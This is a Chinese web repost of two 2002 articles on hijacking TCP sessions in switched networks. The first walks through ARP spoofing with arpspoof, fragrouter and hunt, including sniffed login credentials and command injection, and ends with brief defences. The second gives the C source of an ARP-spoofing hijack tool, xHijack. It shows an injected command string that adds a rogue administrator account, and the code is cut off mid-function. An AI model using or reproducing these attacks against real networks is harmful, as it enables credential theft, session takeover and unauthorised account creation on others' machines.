交换环境下的会话劫持 so cool

来源:互联网 发布:手机即时聊天软件 编辑:程序博客网 时间:2024/05/01 13:49

交换环境下的会话劫持


创建时间:2002-04-09
文章属性:原创
文章来源:http://xfocus.net
文章提交:psef (psef_at_163.com)

交换环境下的会话劫持

                                       作者:psef

一.前言:
在交换式网络环境之下,数据包被发送给指定端口,为会话劫持增加了难度。但是,还是可以在交换式网络上实现会话劫持和监视会话的。本文主要介绍一下如何利用arpspoof、fragrouter和hunt在交换环境下进行会话劫持。

二.攻击:

环境:
用户    IP:  10.10.10.1  win2k
服务器  IP:  10.10.10.2  linux
攻击者  IP:  10.10.10.3  linux
注:三台机器是连在一个交换机上的。

软件:
arpspoof是dsniff软件包的一个程序,可以用来进行ARP欺骗,另外dsniff还有一些攻击和欺骗的东东。
fragrouter是一个包转发工具,可以利用测试IDS包重组的能力。
Hunt是一个会话劫持的工具,操作简单,功能强大。

原理:通过arpspoof进行ARP欺骗,让两台机器通信的数据包留经攻击者的机器,然后利用fragrouter进行转包,最后利用Hunt进行会话劫持。

过程:
1.获取MAC地址
[root@w3w6 dsniff-2.3]#ping 10.10.10.1
64 bytes from 10.10.10.1: icmp_seq=0 ttl=128 time=1.3ms
...
[root@w3w6 dsniff-2.3]#ping 10.10.10.2
64 bytes from 10.10.10.2: icmp_seq=0 ttl=255 time=3.8ms
...
--这样攻击者就知道了10.10.10.1和10.10.10.2的MAC地址

2.ARP欺骗:是利用广播地址上主机保持周边计算机信息方式的固有安全弱点,使用伪造的MAC地址和IP地址伪装成ARP高速缓存中的另外一台主机的技术。攻击者可以伪造其它主机的MAC地址,通过伪造ARP回应获取LAN内的一台主机发送给另外一台主机的数据包。

[root@w3w6 dsniff-2.3]# ./arpspoof -i eth0 -t 10.10.10.1 10.10.10.2
0:50:56:7b:b4:d8 0:1:2:9a:19:bd 0806 42: arp reply 10.10.10.2 is-at 0:50:56:7b:b4:d8
0:50:56:7b:b4:d8 0:1:2:9a:19:bd 0806 42: arp reply 10.10.10.2 is-at 0:50:56:7b:b4:d8
--告诉10.10.10.1服务器10.10.10.2的MAC地址为00:50:56:7b:b4:d8,也就是攻击者的MAC地址,这样10.10.10.1发向10.10.10.2的数据包都重定向到10.10.10.3

[root@w3w6 dsniff-2.3]# ./arpspoof -i eth0 -t 10.10.10.2 10.10.10.1
0:50:56:7b:b4:d8 0:50:56:59:2a:a2 0806 42: arp reply 10.10.10.1 is-at 0:50:56:7b:b4:d8
0:50:56:7b:b4:d8 0:50:56:59:2a:a2 0806 42: arp reply 10.10.10.1 is-at 0:50:56:7b:b4:d8
--告诉10.10.10.12用户10.10.10.1的MAC地址为00:50:56:7b:b4:d8,也就是攻击者的MAC地址,这样10.10.10.2发向10.10.10.1的数据包都重定向到10.10.10.3

--通过上面的两个arpspoof命令,攻击者完成了ARP欺骗,造成用户和服务器的通信完全重定向到攻击者的机器。
但是,为了使客户和服务器正常的通信,需要将攻击者机器的IP转发功能打开,使其起到一个路由器的功能。

3.数据转发:转发客户和服务器间的数据包
一是利用linux内核进行转,echo 1 > /proc/sys/net/ipv4/ip_forward
二是利用fragrouter,简单的打开包转发功能
[root@w3w6 fragrouter-1.6]# ./fragrouter  -B1
....
10.10.10.1.1558 > 10.10.10.2.80: S 2776465951:2776465951(0) win 16384 <mss 1460,nop,nop,sackOK> (DF)
10.10.10.2.80 > 10.10.10.1.1558: S 35432263:35432263(0) ack 2776465952 win 5840 <mss 1460,nop,nop,sackOK> (DF)
10.10.10.2.80 > 10.10.10.1.1558: S 35432263:35432263(0) ack 2776465952 win 5840 <mss 1460,nop,nop,sackOK> (DF)
10.10.10.1.1558 > 10.10.10.2.80: . ack 35432264 win 17520 (DF)
10.10.10.1.1558 > 10.10.10.2.80: P 2776465952:2776466230(278) ack 35432264 win 17520 (DF)
10.10.10.2.80 > 10.10.10.1.1558: . ack 2776466230 win 6432 (DF)
10.10.10.2.80 > 10.10.10.1.1558: . 35432264:35433724(1460) ack 2776466230 win 6432 (DF)
10.10.10.1.1558 > 10.10.10.2.80: . ack 35432264 win 17520 (DF)
10.10.10.2.80 > 10.10.10.1.1558: . 35435184:35436644(1460) ack 2776466230 win 6432 (DF)
...
--可以看出10.10.10.1与10.10.10.2的通信已经被重定向到10.10.10.3

4.会话劫持:劫持一个现存的会话,利用合法用户进行连接并通过验证,之后顺其自然接管会话。会话劫持有两种方式:积极的攻击方式和消极的攻击方式。积极的攻击方式中,黑客需要寻找动态的会话并且接管它,这种方式需要使用户下线、不再参与会话。消极的攻击方式中,黑客劫持会话,但是隐藏在后方观察并且记录发送和接收的信息。下面采用混合型攻击方式:先监视会话,然后劫持会话。

[root@w3w6 hunt-1.5]# ./hunt
/*
*      hunt 1.5
*      multipurpose connection intruder / sniffer for Linux
*      (c) 1998-2000 by kra
*/
starting hunt
--- Main Menu --- rcvpkt 3, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u)     host up tests
a)     arp/simple hijack (avoids ack storm if arp used)
s)     simple hijack
d)     daemons rst/arp/sniff/mac
o)     options
x)     exit
*> l
0) 10.10.10.1 [1364]      --> 10.10.10.2 [23] ----用户正在telnet到服务器
-
--监视会话
-> w                          
0) 10.10.10.1 [1364]      --> 10.10.10.2 [23]

choose conn> 0
dump [s]rc/[d]st/[b]oth [b]> b
print src/dst same characters y/n [n]> y

CTRL-C to break
tttttteeeeeesssssstttttt


Password: Password: Password: ttteeesssttt


Last login: Fri Mar 22 19:35:39 from 10.10.10.1
Last login: Fri Mar 22 19:35:39 from 10.10.10.1
Last login: Fri Mar 22 19:35:39 from 10.10.10.1
[test@w3w7 test]$ [test@w3w7 test]$ [test@w3w7 test]$ lllsss

haha  hehe  
...
----可见用户刚登录,用户名为test,口令也为test(呵呵,这是巧合,未必一定能在用户登录的时候监视到,除非是一直监视或是运气好),用户登录后执行了ls命令

--会话劫持
-> s                      
0) 10.10.10.1 [1364]      --> 10.10.10.2 [23]

choose conn> 0
dump connection y/n [n]> y
dump [s]rc/[d]st/[b]oth [b]> b
print src/dst same characters y/n [n]> y

CTRL-C to break

-- press any key> Enter the command string you wish executed or [cr]> mkdir heihei
mkdir heihei
[root@w3w7 test]# ACK storm detected - reset after 4s

hunt: possible ACK storm: 0) 10.10.10.2 [23]    --> 10.10.10.1 [1364]
.......

reset done

---这时用户与服务器的会话中断,用户需要重新登录

[root@w3w7 test]#ls
haha hehe heihei

可见攻击者已将mkdir heihei命令插入到用户与服务器的会话中,劫持成功,当然还可以执行一些中间命令,如创建用户、删除文件等。不过同时要根据劫持的用户的权限而定,如果劫持的是超级用户,嘿嘿,就可以...

同样原理,如果使用sniffit或者dsniff代替hunt就可以进行嗅探了,如果不习惯的话,还可以利用windows下的sniffer Pro进行抓包,这时只要把攻击的linux装在VMware下即可。

三.防御:

防止ARP欺骗:
1.不要把网络安全信任关系建立在ip基础上或MAC基础上,理想的关系应该建立在ip+MAC基础上。
2.使用静态ARP,禁止自动更新,使用手动更新。
3.定期检查ARP请求,使用ARP监视工具,例如ARPWatch监视并探测ARP欺骗。

防止会话劫持:
1.通信和会话加密,使用安全协议,例如使用SSH代替telnet和ftp,使用SSL代替http。
2.限制连接,减少黑客进行会话劫持的机会。
3.完善认证措施,即不仅仅在建立会话时进行认证。

四.后语:
希望在交换网络的用户注意数据传输的安全。同时希望不要利用上面的技术在公司内部的交换网络进行破坏,否则后果自负。

再谈交换环境下的会话劫持(For windows2000)


创建时间:2002-08-19
文章属性:原创
文章提交:eyas (ey4s_at_21cn.com)

再谈交换环境下的会话劫持(For windows2000)
作者:eyas


第一步是开启IP Routing的功能,修改注册表
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Tcpip/Parameters/IPEnableRouter为0x1,重启系统即可。
第二步是ARP欺骗,具体原理我就不说了。
第三步就是开始劫持啦。

我写了个程序xHijack可以实现第二、三步功能,使用如下:

Usage: xHijack ServerSide ClientSide

下面根据三种不同的情况分别说明如何输入参数:
<1>服务器、客户端、劫持者处于同一局域网,接在同一交换机上(或交换机级连?)。
假如服务器的IP是192.168.0.2,客户端的IP是192.168.0.3,提供如下参数给xHijack即可
c:/>xHijack 192.168.0.2 192.168.0.3
劫持前数据流程:server <--> client
劫持后数据流程:server <--> hijacker <--> client

<2>服务器、劫持者处于同一局域网,客户端处于别的网络。
假如服务器IP是202.202.202.2,服务器的网关是202.202.202.1,提供如下参数
xHijack 202.202.202.2 202.202.202.1
劫持前数据流程:server <--> gw <--> routes <--> client
劫持后数据流程:server <--> hijacker <--> gw <--> routes <--> client

<3>客户端、劫持者处于同一局域网,服务器处于别的网络。
假如客户端的IP是192.168.0.2,网关是192.168.0.1,提供如下参数
xHijack 192.168.0.1 192.168.0.2
劫持前数据流程:client <--> gw <--> routes <--> server
劫持后数据流程:client <--> hijacker <--> gw <--> routes <--> server

输入两个参数后,会提示你选择网卡,然后会提示
l               <-- List all connections
r x             <-- Reset the number x connection
w x             <-- Watch the number x connection
h x command     <-- Hijack the number x connection to execute command

list、reset、watch命令我就不解释了。
假如现在有如下连接
(1) 202.202.202.202:23 <--> 192.168.0.3:2345
我们想要劫持这个连接运行我们的命令,输入
xHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add"
为什么命令前面要加&呢?假如客户刚发送一个字符p过去,我们不加&的话,服务器端接受到的就是
pnet user.....了,加了&后就成为p&net user.....,这样就不管前面客户输入了什么,我们的命令
都能够运行了。以上都假设服务器是windows 2000,unix下加什么字符,我不知道,我是unix白痴,呵呵。

劫持的流程如下:
<1>伪装成Server给Client发一个rst包
<2>伪装成Client给Server发了一个数据包
<3>Server回一个ACK包给client
<4>因为Cleint的连接已经给我们reset掉了,所以client回一个rst包给server

这样的话,我们只能发一个伪造的包,但我想已经足够了。
想要一直劫持那个连接也可以,如下
<1>伪装成Server给Client发一个rst包
<2>欺骗Client,告诉它Server的MAC地址AAAAAAAAAAAA
<3>伪装成Client给Server发了一个数据包
<4>Server回一个ACK包给client
<5>Client回一个rst包给Server,但Server收不到,因为Client发到AAAAAAAAAAAA了,呵呵。
<6>然后Server发给Client的包都由我们来处理,包括给Server回ACK包等等。

不过这样比较危险,在我们劫持的过程中,Client与Server的通讯始终是断开的。


刚开始看TCP/IP协议,调程序调得头昏脑涨,说明也写的乱七八糟,呵呵,程序代码也可能存在很多问题,
还请各位多多指点。

BTW:我没有空间,编译好的程序没地方放:(



参考资料
<>交换环境下的会话劫持
<>交换网络中的嗅探和ARP欺骗


以下是程序代码
----------------------------------------------------------------------
/*-----------------------------------------------------------------------------
File            : xHijack.c
Version            : 1.0
Create at        : 2002/8/12
Last modifed at    : 2002/8/19
Author            : eyas
Email            : ey4s@21cn.com
HomePage        : www.ey4s.org
感谢refdom和shotgun发布的源代码,使我获益非浅。
If you modify the code, or add more functions, please email me a copy.

备注:
<>没有考虑IP头、TCP头超过20字节的情况
<>没有考虑数据包分片的情况
<>没有对截取到的TCP数据进行解码,如TELNET,虽然是明文传输,但是TCP数据里面包含了
显示格式、位置等信息,直接打印出来,显得很凌乱。但如果是IRC、SMTP、POP3等就没问
题了。

也许下一版本会修正这些问题,也许不会有下一版本了。

-----------------------------------------------------------------------------*/
#include <stdio.h>
#include <conio.h>
#include <Packet32.h>
#include <ntddndis.h>
#include <winsock2.h>
#include <iphlpapi.h>
#include <windows.h>

#pragma comment (lib, "packet")
#pragma comment (lib, "iphlpapi")
#pragma comment (lib, "ws2_32")

#define Max_Num_Adapter 10
#define Max_Num_IPAddr    5
#define EPT_IP            0x0800            /* type: IP    */
#define ARP_HARDWARE    0x0001            /* Dummy type for 802.3 frames  */
#define EPT_ARP            0x0806            /* type: ARP */

#define    ACTION_NONE        0
#define    ACTION_WATCH    1
#define    ACTION_RESET    2
#define ACTION_HIJACK    3

/*以1字节对齐*/
#pragma pack(1)
typedef struct _ehhdr
{
    unsigned char    DestMAC[6];
    unsigned char    SourceMAC[6];
    unsigned short    EthernetType;
}EHHDR, *PEHHDR;

typedef struct _iphdr                //定义IP首部
{
    unsigned char h_verlen;            //4位首部长度,4位IP版本号
    unsigned char tos;                //8位服务类型TOS
    unsigned short total_len;        //16位总长度(字节)
    unsigned short ident;            //16位标识
    unsigned short frag_and_flags;    //3位标志位
    unsigned char  ttl;                //8位生存时间 TTL
    unsigned char proto;            //8位协议 (TCP, UDP 或其他)
    unsigned short checksum;        //16位IP首部校验和
    unsigned int sourceIP;            //32位源IP地址
    unsigned int destIP;            //32位目的IP地址
}IPHDR, *PIPHDR;

typedef struct _tcphdr                //定义TCP首部
{
    USHORT th_sport;                //16位源端口
    USHORT th_dport;                //16位目的端口
    unsigned int th_seq;            //32位序列号
    unsigned int th_ack;            //32位确认号
    unsigned char th_lenres;        //4位首部长度/6位保留字
    unsigned char th_flag;            //6位标志位
    USHORT th_win;                    //16位窗口大小
    USHORT th_sum;                    //16位校验和
    USHORT th_urp;                    //16位紧急数据偏移量
}TCPHDR, *PTCPHDR;

typedef struct _psdhdr                //定义TCP pseudo header
{                            
    unsigned long saddr;
    unsigned long daddr;
    char mbz;
    char ptcl;
    unsigned short tcpl;
}PSDHDR, *PPSDHDR;

typedef struct _arphdr
{
    unsigned short    HrdType;//硬件类型
    unsigned short    ProType;//协议类型
    unsigned char    HrdAddrlen;//硬件地址长度
    unsigned char    ProAddrLen;//协议地址长度
    unsigned short    op;//operation
    unsigned char    SourceMAC[6];/* sender hardware address */
    unsigned long    SourceIP;/* sender protocol address */
    unsigned char    DestMAC[6];/* target hardware address */
    unsigned long    DestIP;/* target protocol address */
}ARPHDR, *PARPHDR;

typedef struct _ArpPacket
{
    EHHDR    ehhdr;
    ARPHDR    arphdr;
}ARPPACKET, *PARPPACKET;

typedef struct _tcppacket
{
    EHHDR    ehhdr;
    IPHDR    iphdr;
    TCPHDR    tcphdr;
}TCPPACKET, *PTCPPACKET;

typedef struct _conninfo
{
    DWORD    dwServerIP;
    USHORT    uServerPort;
    DWORD    dwClientIP;
    USHORT    uClientPort;
    DWORD    ident;//标识
    BOOL    bActive;
    struct    _conninfo    *Next;
}CONNINFO, *PCONNINFO;

//定义全局变量
unsigned int    g_ServerSideIP,
                g_ClientSideIP,
                g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
                g_TotalIP = 0;//
unsigned char    g_szOwnMAC[6];//本机MAC地址
unsigned char    g_szClientSideMAC[6];
unsigned char    g_szServerSideMAC[6];
char            g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
LPADAPTER        g_lpAdapter;
//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
HANDLE            g_hThread[4];
char            g_szCommand[128];//command to execute after hijack
DWORD            g_dwAction;//action type
DWORD            g_dwCtrlConn;//action 所控制连接的标识
DWORD            g_ident;//节点标识,递增
PCONNINFO        g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
                g_pConnHead = NULL,
                g_pConnLast = NULL;
char            g_szSendPacketBuf[1514];
LPPACKET        g_lpSendPacket;
//函数
void            usage(void);
void            ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
void            ListAllConnection();//列出当前所有的连接
void            ResetActionAllFlag();
USHORT            checksum(USHORT *, int);
BOOL            GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
BOOL            IsACKPacket(unsigned char);//判断是不是一个纯ack包
LPADAPTER        InitAdapter();//初始化一些参数和全局变量
BOOL            SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
BOOL            SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
DWORD            GetConnNum(char *, DWORD, DWORD *);
DWORD            CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
DWORD    WINAPI    ArpSpoofThread(LPVOID);//进行arp欺骗的函数
DWORD    WINAPI    AnalysePacketsThread(LPVOID);//分析处理接收到的包
DWORD    WINAPI    InterfaceThread(LPVOID);//
BOOL    WINAPI    CtrlEvent(DWORD);



int main(int argc, char **argv)
{
    struct        bpf_stat stat;
    int            i;

    usage();
    if (argc != 3) return 0;
    //取得参数
    g_ServerSideIP = inet_addr(argv[1]);
    g_ClientSideIP = inet_addr(argv[2]);
    //初始化adapter & 一些全局变量
    g_lpAdapter = InitAdapter();
    if(!g_lpAdapter) return 0;
    //get ServerSide MAC & ClientSide MAC
    if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
    if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
    //create arp spoof thread        
    i = 1;
    g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
    Sleep(500);
    i = 2;
    g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
    //create analyse packet thread
    g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
    //create interface thread
    g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
    //set console ctrl handle
    if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
    {
        printf("SetConsoleCtrlHandler error:%d/n", GetLastError());
        return 0;
    }
    //wait for any thread exit
    WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
    //print the capture statistics
    if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
        printf("Warning: unable to get stats from the kernel!/n");
    else
        printf("/n/n%d packets received./n%d Packets lost/n",stat.bs_recv,stat.bs_drop);
    //free resource    
    PacketFreePacket(g_lpSendPacket);
    PacketCloseAdapter(g_lpAdapter);
    return 0;
}

//
//功能:重置所有于ACTION有关的标志
//
void ResetActionAllFlag()
{
    g_dwCtrlConn = 0;
    g_pCurrCtrlConn = NULL;
    g_dwAction = ACTION_NONE;
}

//
//功能:处理Ctrl+C和Ctrl+Break事件
//
BOOL WINAPI CtrlEvent(DWORD dwCtrlType)
{
    switch(dwCtrlType)
    {
        case CTRL_BREAK_EVENT:
            //reset action all flag
            ResetActionAllFlag();
            break;
        case CTRL_C_EVENT:
            //terminate all thread
            TerminateThread(g_hThread[0], 0);
            TerminateThread(g_hThread[1], 0);
            TerminateThread(g_hThread[2], 0);
            TerminateThread(g_hThread[3], 0);
            break;
        default:
            break;
    }
    return TRUE;
}

//
//功能:处理用户输入
//
DWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos)
{
    DWORD    i;
    char    szBuff[16];

    *lpCommandPos = 0;
    for(i=0; i<15, i<dwLen; i++)
    {
        if(szStr[i] == 0x20)
        {
            *lpCommandPos = i;
            break;
        }
        else
            szBuff[i] = szStr[i];
    }
    szBuff[i] = 0x0;
    return atoi(szBuff);
}

//
//功能:取得用户输入
//这部分代码比较乱
//
DWORD WINAPI InterfaceThread(LPVOID lp)
{
    char    szHelp[] =    "l/t/t<-- List all connections/n"
                        "r x/t/t<-- Reset the number x connection/n"
                        "w x/t/t<-- Watch the number x connection/n"
                        "h x command/t<-- Hijack the number x connection to execute command/n"
                        "[Note]/n"
                        "Ctrl+Break to clear all action/n"
                        "Ctrl+C to exit/n";
    char    szPrompt[] = "/nxHijack>";
    char    szBuffer[128];
    DWORD    dwPos;
    PCONNINFO    pTmp;

    while(1)
    {
        gets(szBuffer);//不考虑buffer overflow
        switch(szBuffer[0])
        {
            case 'l':
            case 'L':
                ListAllConnection();
                break;
            case 'r':
            case 'R':
                if(strlen(szBuffer) >2)
                {
                    g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
                    g_dwAction = ACTION_RESET;
                }
                else printf("%s", szHelp);
                break;
            case 'w':
            case 'W':
                if(strlen(szBuffer) > 2)
                {
                    g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
                    g_dwAction = ACTION_WATCH;
                }
                else printf("%s", szHelp);
                break;
            case 'h':
            case 'H'://h 1 xxx
                if(strlen(szBuffer) > 5)
                {
                    g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
                    //如果command第一个字符是'或"
                    if( (szBuffer[2+dwPos+1] == '/'') || (szBuffer[2+dwPos+1] == '/"') )
                    {
                        strncpy(g_szCommand, &szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3);
                        g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或"
                    }
                    else strncpy(g_szCommand, &szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3);
                    strcat(g_szCommand, "/x0D/x0A");
                    g_dwAction = ACTION_HIJACK;
                }
                else printf("%s", szHelp);
                break;
            default:
                printf("%s", szHelp);
                break;
        }//end of switch
        //find the specify ident's struct point
        if( (g_dwCtrlConn) && (g_dwAction) )
        {
            g_pCurrCtrlConn = NULL;
            pTmp = g_pConnHead;
            while(pTmp)
            {
                if((pTmp->ident == g_dwCtrlConn) && (pTmp->bActive) )
                {
                    g_pCurrCtrlConn = pTmp;
                    break;
                }
                pTmp = pTmp->Next;
            }
            if(!g_pCurrCtrlConn)
            {
                printf("Can't find the number %d connection./n", g_dwCtrlConn);
                //reset action all flag
                ResetActionAllFlag();            
            }
        }
        if(!g_dwCtrlConn) ResetActionAllFlag();
        //显示当前用户所期望的动作
        printf("/nCurrentAction:");
        switch(g_dwAction)
        {
            case ACTION_WATCH:
                printf("ACTION_WATCH");
                break;
            case ACTION_RESET:
                printf("ACTION_RESET");
                break;
            case ACTION_HIJACK:
                printf("ACTION_HIJACK");
                break;
            default:
                printf("ACTION_NONE");
                break;
        }
        printf("/tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt);
    }//enf of while
    return 0;
}

//
//功能:列出当前所有连接
//
void ListAllConnection()
{
    PCONNINFO    pTmp;
    SOCKADDR_IN    saDest, saSource;
    pTmp = g_pConnHead;
    while(pTmp)
    {
        if(pTmp->bActive)
        {
            saSource.sin_addr.s_addr = pTmp->dwServerIP;
            saDest.sin_addr.s_addr = pTmp->dwClientIP;
            printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr),
                ntohs(pTmp->uServerPort));
            printf("%s:%d/n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort));
        }
        pTmp = pTmp->Next;
    }
}

//
//功能:初始化一些数据,取得指定网卡的MAC地址和所有IP地址
//
LPADAPTER InitAdapter()
{
    LPADAPTER    lpAdapter;
    static char AdapterList[Max_Num_Adapter][1024];
    char        szSelectAdapterName[512];
    WCHAR        AdapterName[2048];
    WCHAR        *temp,*temp1;
    ULONG        AdapterLength = 1024;
    int            iAdapterNum = 0;
    int            iRetCode, i;
    int            iAdapter = 0;    
    ULONG        ulLen = 0;
    DWORD        dwRet;
    PIP_ADAPTER_INFO    pAdapterInfo = NULL, pTmp;
    PIP_ADDR_STRING        pIPAddr;

    //Get The list of Adapter
    if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)
    {
        printf("Unable to retrieve the list of the adapters!/n");
        return 0;
    }
    temp = temp1 = AdapterName;
    i = 0;
    while ((*temp != '/0')||(*(temp-1) != '/0'))
    {
        if (*temp == '/0')
        {
            memcpy(AdapterList[i],temp1,(temp-temp1)*2);
            printf("%d - %S/n", i+1, AdapterList[i]);
            temp1=temp+1;
            i++;
        }    
        temp++;
    }
    //choose adapter
    while((iAdapter <= 0) || (iAdapter > i))
    {
        printf("/nPlease choose your Adapter:");
        scanf("%1d", &iAdapter);
    }
    printf("/n");
    //---------------------------------------------//
    //这里调用iphlpapi来取得本地ip_addr和mac_addr
    sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1);
    dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen);
    if(dwRet != ERROR_BUFFER_OVERFLOW)
    {
        printf("GetAdapterInfo error:%d/n", GetLastError());
        return 0;
    }
    pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen);
    if(!pAdapterInfo)
    {
        printf("malloc memory for pAdapterInfo error:%d/n", GetLastError());
        return 0;
    }
    dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen);
    if(dwRet != ERROR_SUCCESS)
    {
        printf("GetAdapterInfo error:%d/n", GetLastError());
        return 0;
    }
    pTmp = pAdapterInfo;
    while(pTmp)
    {
        //字符匹配
        if(strstr(szSelectAdapterName, pTmp->AdapterName))
        {
            //found it,get own adapter mac address
            memcpy(g_szOwnMAC, pTmp->Address, 6);
            //get ip address
            pIPAddr = &pTmp->IpAddressList;
            while(pIPAddr)
            {
                g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress);
                pIPAddr = pIPAddr->Next;
                if(g_TotalIP >= Max_Num_IPAddr) break;
            }
            break;
        }
        pTmp = pTmp->Next;
    }
    free(pAdapterInfo);
    //not found,return zero
    if( (!pTmp) || (!g_TotalIP) ) return 0;
    //---------------------------------------------//
    //open adapter
    lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]);
    if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
    {
        iRetCode = GetLastError();
        printf("Unable to open the driver, Error Code : %lx/n", iRetCode);
        return 0;
    }
    // set the network adapter in promiscuous mod
    if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE)
    {
        printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!/n");
        if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE)
        {
            printf("Unable to set ALL_LOCAL mode!/n");
            return 0;
        }
    }
    // set a 512K buffer in the driver
    if(PacketSetBuff(lpAdapter, 512000) == FALSE)
    {
        printf("Unable to set the kernel buffer!/n");
        return 0;
    }
    // set a 1 second read timeout
    if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE)
        printf("Warning: unable to set the read tiemout!/n");
    if(PacketSetNumWrites(lpAdapter, 1) == FALSE)
        printf("warning: Unable to send more than one packet in a single write!/n");
    //设置发送的packet
    g_lpSendPacket = PacketAllocatePacket();
    if(g_lpSendPacket == NULL)
    {
        printf("Error:failed to allocate the LPPACKET structure for send packet./n");
        return 0;
    }
    ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf));
    PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514);
    return lpAdapter;
}

//功能:帮助信息
void usage()
{
    printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000/n"
            "By eyas<ey4s@21cn.com> 2002/8/19/n"
            "http://www.ey4s.org/n"
            "Thanks to Refd0m and shotgun/n/n"
            "Usage: xHijack ServerSide ClientSide/n/n");
}

//
//功能:显示数据包的一些详细信息
//
VOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail)
{
    SOCKADDR_IN        saDest, saSrc;
    unsigned char    FlagMask;
    int                i;

    saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP;
    saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP;
    printf("/n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport));
    printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr),
        ntohs(pTCPPacket->tcphdr.th_dport), usDataLen);
    //display TCP flag
    for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1)
    {
        if((pTCPPacket->tcphdr.th_flag) & FlagMask)
            printf("%c", g_szTcpFlag[i]);
        else printf("-");
    }
    printf("/n");
    //如有需要,可显示更多详细的信息
    if(bDetail)
        printf("SEQ=%.8X ACK=%.8X/n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack));
}

//
//功能:处理收到的数据包(只分析本不属于自己的包),然后根据用户输入,完成各种功能
//
DWORD WINAPI AnalysePacketsThread(LPVOID lp)
{
    ULONG            ulBytesReceived;
    USHORT            usDataLen;
    //USHORT            usIPHeadLen, usTCPHeadLen;
    char            *buf;
    u_int            off, i;
    PTCPPACKET        pTCPPacket;
    struct bpf_hdr    *hdr;
    LPPACKET        lpRecvPacket;
    char            szPacketBuf[256000], *pStr;
    BOOL            bDeleteNode, bAddNew;
    DWORD            ident;//当前所处理的数据包,所属的连接的唯一标识
    BOOL            bClientToServer;//数据包是否从客户端发送到服务器端

    //设置接收的packet
    lpRecvPacket = PacketAllocatePacket();
    if(lpRecvPacket == NULL)
    {
        printf("Error:failed to allocate the LPPACKET structure for recv./n");
        return 0;
    }
    ZeroMemory(szPacketBuf, sizeof(szPacketBuf));
    PacketInitPacket(lpRecvPacket, szPacketBuf, 256000);
    while(1)
    {
        // capture the packets
        if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE)
        {
            printf("Error: PacketReceivePacket failed./n");
            break;
        }
        ulBytesReceived = lpRecvPacket->ulBytesReceived;
        buf = lpRecvPacket->Buffer;
        off = 0;
        while(off < ulBytesReceived)
        {
            hdr = (struct bpf_hdr *)(buf + off);
            off += hdr->bh_hdrlen;
            pTCPPacket = (PTCPPACKET)(buf + off);
            off = Packet_WORDALIGN(off + hdr->bh_caplen);
            //不需要处理自己发出的包(转发或本机发送的)
            if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue;
            //检查是否IP包
            if(pTCPPacket->ehhdr.EthernetType !=  htons(EPT_IP)) continue;
            //检查是否TCP包
            if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue;
            //也不处理DestIP是自己的包
            for(i=0; i<g_TotalIP; i++)
                if(pTCPPacket->iphdr.destIP == g_OwnIP[i])
                    break;
            if(i != g_TotalIP) continue;
            //暂不考虑IP、TCP头不是20字节的情况
            //计算tcp数据长度,总长度减去ip头长度和tcp头长度
